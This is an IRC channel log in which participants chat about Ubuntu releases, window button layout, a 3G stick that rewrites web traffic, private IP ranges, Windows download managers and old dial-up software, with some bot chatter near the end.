0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: over HTTP? < 1269104307 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :umm, IRC? < 1269104309 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Over IRC, surely < 1269104337 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://nctritech.files.wordpress.com/2008/11/tcpip_punch1.jpg < 1269104376 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ponders whether to redownload 9.10 or go for 10.04
< 1269104380 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: I take it it didn't manage to download before the connection dropped? < 1269104389 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: not unless I suddenly got a 100 mbit connection < 1269104407 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :This is why you should use something that can resume when you're on an uncertain connection < 1269104413 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(Or always, really) < 1269104416 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I thought Chrome would be such a thing. < 1269104426 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Think not; know. < 1269104461 0 :songhead95!unknown@unknown.invalid QUIT :Quit: songhead95 < 1269104473 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it seems a bizzare feature for Chrome not to have < 1269104586 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Then you will be tanasin? < 1269104589 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*tanasinn < 1269104626 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What does tanasinn have to do with anything :-P < 1269104651 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :10.04: Unstable lots of updates so network access and stuff... but nice themes and stuff, and, uh, ... < 1269104652 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :9.10: Yeah < 1269104665 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: "Don't think, feel. Then you will be tanasinn." < 1269104674 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1269104680 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Screw "feel", just know. < 1269104689 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Constructivist tanasinn. < 1269104695 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-P < 1269104748 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :? : tanasinn < 1269104750 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :? = feel < 1269104753 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :aww, stupid mirc < 1269104768 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: isn't 10.04 the version which puts the minimize/close/maximise buttons on the top-left of the window, in defiance of both fitts' law and common sense? < 1269104860 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :How does it defy Fitts's? < 1269104892 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: It doesn't defy Fitts', and OS X does it too < 1269104899 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the close position sucks though < 1269104905 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's unfittsy there, I agree < 1269104907 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: the close position isn't in the corner, like it is on OS X < 1269104918 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.design-by-izo.com/2010/03/13/ubuntu-lucid-and-that-button-layout/ < 1269104921 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, it's very close to the menus, which has the effect of meaning you have to be more careful < 1269104935 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.design-by-izo.com/wp-content/uploads/2010/03/button-layout-kde.png seems like the best solution < 1269104941 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's the most fittsy of them all < 1269104992 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: oh, my close button's red already < 1269104995 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I use the New Wave theme < 1269105000 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :at least, it turns red when you hover over it < 1269105006 0 :songhead95!~jay@c-71-232-230-180.hsd1.ma.comcast.net JOIN :#esoteric < 1269105007 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I wasn't talking about redness :P < 1269105012 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and although it doesn't look like it stretches to the corner, it fdoes < 1269105014 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: no, but he was < 1269105021 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269105040 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.design-by-izo.com/wp-content/uploads/2010/03/button-layout-kde.png <-- this is a pretty kde theme, I wonder what it is < 1269105056 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION just installs 9.10, I'm too lazy to do anything fancy
< 1269105069 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what's good for resumable windows downloads? < 1269105085 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think firefox does them, but it's a bit bloated < 1269105094 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could grab a Windows copy of wget, that would probably be ideal < 1269105097 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :just a downloader < 1269105111 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://1.2.3.11/bmi/www.jensroesner.de/wgetgui/wgetgui_simple.png < 1269105113 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :argh < 1269105118 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.jensroesner.de/wgetgui/wgetgui_simple.png < 1269105123 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I regret googling "Windows wget ui" < 1269105159 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, I'd say go for a command-line tool < 1269105179 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, http://1.2.3.11/ what? < 1269105187 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :stupid 3g broadband stick mangles all images :) < 1269105187 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :1.2.3.0/24 is reserved < 1269105189 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(and webpages) < 1269105194 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: oh < 1269105202 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(to add javascript so you can do shift-r/a to improve the quality of images) < 1269105206 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :haha, it's contributing to 1.2.3.0/24 pollution < 1269105214 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you can send a certain header to stop it -- but I don't think Chrome can do that :)# < 1269105217 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*:) < 1269105259 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why doesn't it just use an IP in 10 or 192.168? < 1269105266 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :those would both be obvious choices, considering what it's doing < 1269105289 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because idiots < 1269105313 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: The "obvious" reason for not using a private-area IP is to avoid conflicts for people who use those in their local networks, but I don't quite see how it'd apply for a 3G stick necessarily. < 1269105319 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: yes < 1269105334 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Don't forget 172.16/12 < 1269105338 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, avoiding conflicts by using you're using an address that's specifically reserved for a different purpose, and hoping nobody else will use it either? < 1269105345 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*by using < 1269105361 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You could make some "172.16/12 - never forget!" T-shirts. < 1269105378 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I could, yes < 1269105396 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I was aware there was a /12 floating around somewhere for that purpose, but not its number < 1269105490 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They have one block in each of the class A, B and C ranges, even though everything's so CIDRy nowadays. < 1269105569 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Wow, there is not one shitty Windows download manager. < 1269105573 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Guess I'll just use command-line wget. < 1269105636 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise_: http://www.oldversion.com/GetRight.html < 1269105679 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :That's was not is < 1269105699 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Which is the least shitty version? :-) < 1269105723 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I can't remember, to be honest < 1269105725 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's been years :-P < 1269105739 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Presumably any of the ones that are there are non-shitty < 1269105790 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Their official description is funny: "GetRight® is a download manager that simply improves and optimizes the files you download from the Internet." < 1269105794 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Apparently 6.3 is the latest, and it has 6, so probably not < 1269105799 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Not only does it download well, it even makes the content better. < 1269105802 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :4.5e; let's try that. < 1269105842 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Wise Installation Wizard. 2002. A /bit/ too old. < 1269105932 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hey, that even predates XP, somehow < 1269105942 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :still, I remember wise < 1269105949 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :more for the uninstall program, which was called unwise < 1269105952 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries 1.3
< 1269105955 0 :olsner_!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1269105963 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Really old is good; new is sometimes good. < 1269105968 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :In-between is shitty. Usually. For Windows. < 1269105976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :--------------------------- < 1269105976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Unsupported 16-Bit Application < 1269105976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :--------------------------- < 1269105976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The program or feature "\??\C:\Users\Elliott\Documents\Downloads\getright13.exe" cannot start or run due to incompatibity with 64-bit versions of Windows. Please contact the software vendor to ask if a 64-bit Windows compatible version is available. < 1269105976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :--------------------------- < 1269105976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :OK < 1269105977 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :--------------------------- < 1269105979 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :16-BIT?! < 1269105992 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: it was common back then, 32-bit programs were relatively unreliable on XP < 1269106004 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I know, I always wrote 16-bit for XP because it had trouble getting 32-bit programs working correctly < 1269106007 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1269106015 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, XP (before SP) and 98 < 1269106020 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise_: 2002 is too old? I had probably stopped using getright by 2000 < 1269106020 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :almost all XP programs are 32-bit. And this is really old, not XP era. < 1269106024 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the issue being that half the APIs didn't work < 1269106032 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yeah, but Wise gives me AIDS. < 1269106034 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So what do you use? < 1269106036 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so you had to keep trying them more or less at random until you found one that did < 1269106042 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Yes, it gives me AIDS every single time I use it.) < 1269106054 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise_: I use a reliable Internet connection ;-) < 1269106064 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, well, slight issues with that < 1269106083 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :1999 < 1269106092 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Let's try this < 1269106098 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Opera probably has this stuff built in, FWIW. It tends to. < 1269106098 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Let's party like it's. < 1269106102 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :isn't that before Windows really understood networking? < 1269106111 0 :songhead95!unknown@unknown.invalid QUIT :Quit: songhead95 < 1269106152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : alise_: it was common back then, 32-bit programs were relatively unreliable on XP < 1269106154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*blink* < 1269106167 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: early versions, at least < 1269106172 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523 is in a fantasy world of crazy < 1269106175 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :disregard him :) < 1269106176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, that's rather hard to believe < 1269106179 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, either that, or it's just that my 32-bit compiler was rather unreliable < 1269106184 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :thinking about it, that seems a lot more plausible < 1269106187 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean sure, for windows 95 or windows NT 4.0 < 1269106188 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's probably a matter of definition; compared to 3.x, all the 9x releases have been pretty internet-savvy. I don't even think you needed a separate TCP/IP stack any more. (Or was it so that IE in 95 still had one?) < 1269106194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes probably there it could happen < 1269106198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but XP... < 1269106213 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Certainly not in 98. Not sure about 95. < 1269106217 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is that "getright" btw? < 1269106227 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Download manager. < 1269106230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269106235 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what for? < 1269106241 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Downloads? :-P < 1269106245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, I never saw the point of them < 1269106255 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what can they do that normal tools to download can't? < 1269106255 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Does it do the impolite "open multiple connections to same server" thing by default?-) < 1269106257 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :resuming on failed connection < 1269106267 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :man this program is so uh... 1999 < 1269106270 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I'm not sure. It might. < 1269106281 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I think the early versions didn't, at least. < 1269106288 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, is there no wget for windows? I'm pretty sure there was a non-cygwin port of wget < 1269106291 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and wget has -c < 1269106293 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to resume < 1269106312 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269106323 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: There is, but meh. < 1269106328 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'd prefer it automatically doing so when my connection breaks. < 1269106336 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I should write a good download manager, except I won't be using Windows for much longer. < 1269106343 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, I'd prefer it to do when I regain connection instead ;P < 1269106349 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Back in the day there might not have been; plus it's CLI, so a bit annoying for normal people, and thus it only handles one file at once. < 1269106350 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Er, yes. < 1269106388 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The interface for my download manager would be a list with filenames, progress meters, downladed/total, speed, estimated time and a cancel button to remove it from the list. Downloading would be dragging a URL to the window. < 1269106389 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, back in the day it would have been too slow to download more than one file at once < 1269106390 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :End of :P < 1269106402 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :your modem connection that is < 1269106411 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, is there a good GUI download manager even for Linux that isn't attached to a browser? < 1269106416 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :with zmodem you could chat /and/ download < 1269106417 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, like the firefox download list basically? < 1269106421 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wget's an excellent /command-line/ download manager, but it isn't GUI < 1269106422 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: but why? linux browsers do it just fine :P < 1269106429 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: curiosity < 1269106429 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think firefox does do resuming < 1269106433 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ooh, this links into an excellent idea I had for a GNOME UI feature < 1269106437 0 :nooga!~nooga@86-63-114-188.sta.asta-net.com.pl JOIN :#esoteric < 1269106437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, pretty sure I saw a KDE one once < 1269106440 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1269106441 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, ^ < 1269106452 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: now you ask what it is < 1269106454 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, it was ais523 who asked it in fact < 1269106457 0 :wIRC9!~warirc@41.217.65.13 JOIN :#esoteric < 1269106457 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, which is exactly why you want a manager, so that you can queue dozens. < 1269106465 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :firefox queus < 1269106468 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*queues < 1269106474 0 :wIRC9!unknown@unknown.invalid QUIT :Client Quit < 1269106478 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, ais523: you have nicks starting on same char and of the same length < 1269106480 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1269106481 0 :songhead95!~jay@c-71-232-230-180.hsd1.ma.comcast.net JOIN :#esoteric < 1269106482 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :please fix < 1269106486 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ASK WHAT IT IS < 1269106488 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no < 1269106491 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: your nick also starts with the same char < 1269106496 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: oh, what is it/ < 1269106498 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I think it went so that plain 95 didn't include a TCP/IP stack, but they made one and distributed it with IE 2-or-so and the later 95 versions; and I think the IE dialler and stack also worked in 3.11 later on. There was also a version of Trumpet Winsock for 95. < 1269106498 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and is of the same length if you pad it out! < 1269106506 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I'll tell you in /msg, it's floody < 1269106507 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I thought you wanted me to ask AnMaster what his KDE download manager was < 1269106510 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it is of different case and nick of different length < 1269106517 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I never tried it < 1269106522 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: IRC is case-insensitive < 1269106523 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just noticed that one existed < 1269106540 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: hey, I didn't ask, it was alise_ who didn't ask me to ask you! < 1269106543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well sure, but that isn't relevant to visually reading the nicks < 1269106549 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I do remember that for a 3.11 user, the IE dialler was considerably more modern-looking than the (maybe not most current) version of Trumpet I had. < 1269106563 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: they're different colours in this client... < 1269106579 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, trumpet? < 1269106604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I never liked that, most of the time it is even more confusing < 1269106609 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Trumpet Winsock. < 1269106620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, a ppp program? < 1269106636 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, I think it could do PPP too; also SLIP. < 1269106641 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269106695 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Also, I don't think you can chat and download simultaneously with (unmodified) ZMODEM, because I think the main "killer feature" of SMODEM was the chat thing. (And there was some competitors too.) < 1269106725 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1269106725 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok, smodem then < 1269106725 0 :alise_!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269106737 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wasn't smodem something used for BBS or such < 1269106742 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :SMODEM also does bidirectional transfers. < 1269106743 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269106744 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :rather than internet dialup < 1269106757 0 :alise_!~alise@genld-216-038.t-mobile.co.uk JOIN :#esoteric < 1269106764 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'm not entirely sure this resume worked < 1269106773 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:SModem.png -- look, isn't it awesome! < 1269106779 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh fuck this shit, someone mail me an ubuntu cd < 1269106797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, you could get them for free before iirc < 1269106801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sure nowdays < 1269106877 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah but it takes time < 1269106889 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so does it for everyone else here too < 1269106889 0 :alise_!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269106906 0 :alise_!~alise@genld-216-038.t-mobile.co.uk JOIN :#esoteric < 1269106915 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries wackget instead
< 1269106997 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Switch to the QNX Demo Disk, it's modern as anything, with a web browser and all, and yet you'd have to download just two floppies. < 1269107002 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://toastytech.com/guis/qnxdemo.html < 1269107010 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You might have some problems with the 3G stick in it, though. < 1269107025 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But there's the "QNX Is Cool!" demo! < 1269107030 0 :alise_!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269107046 0 :alise!~alise@genld-216-038.t-mobile.co.uk JOIN :#esoteric < 1269107161 0 :alise!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269107197 0 :alise_!~alise@genld-216-044.t-mobile.co.uk JOIN :#esoteric < 1269107237 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That is one unreliable network. < 1269107308 0 :alise_!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269107347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :quite < 1269107386 0 :alise_!~alise@genld-216-045.t-mobile.co.uk JOIN :#esoteric < 1269107388 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fdgdfgdfgfdgdfg < 1269107408 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :afphhpfhffhpfphhnjgeul < 1269107580 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269107604 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269107604 0 :alise_!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269107622 0 :alise!~alise@genld-216-045.t-mobile.co.uk JOIN :#esoteric < 1269107699 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269107734 0 :alise!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269107751 0 :alise!~alise@genld-216-045.t-mobile.co.uk JOIN :#esoteric < 1269107869 0 :alise!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269107887 0 :alise!~alise@genld-216-045.t-mobile.co.uk JOIN :#esoteric < 1269108172 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269108206 0 :songhead95!unknown@unknown.invalid QUIT :Quit: songhead95 < 1269108267 0 :alise!~alise@212.183.140.36 JOIN :#esoteric < 1269108268 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyone remember optbot? :) < 1269108277 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, vaguely < 1269108280 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although I can't remember what it did < 1269108296 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :repeated random lines from history < 1269108306 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i remember it was named for me < 1269108309 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269108317 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, also AnMaster < 1269108323 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster said otpbot for the erlang thing < 1269108327 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :opt was like < 1269108334 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oerjan's Puns Terrible or something < 1269108341 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no it was Oerjan's Terrible Puns < 1269108343 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that was it < 1269108345 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but I kept typoing opt < 1269108347 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for otp < 1269108348 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so i made it opt < 1269108366 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :very optional < 1269108389 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :fungot can also repeat random lines from history, it just gets a bit confused sometimes. < 1269108392 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: the question of rendered fat, the commission will clearly seek every available means to escape the current legal framework, mr president, and what we are intending to use its relationships with european partners, the non-governmental organizations which, in the coming months, the forwarding of appropriations to implement the legislation and practice. however, we must support all initiatives that aim at strengthening our < 1269108405 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh, someone's been doing politics again. < 1269108439 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :16:24:03 ehird, caller() { local myvar; callee "myvar" "other arguments"; } callee() { printf -v "$1" "%s" "$2"; } < 1269108444 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :aieeeee < 1269108449 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Bot-tweet: "About NetHack: hacking: the chamber was of a retreating nymph. 'saruman!' he cried, and treasure it as though it 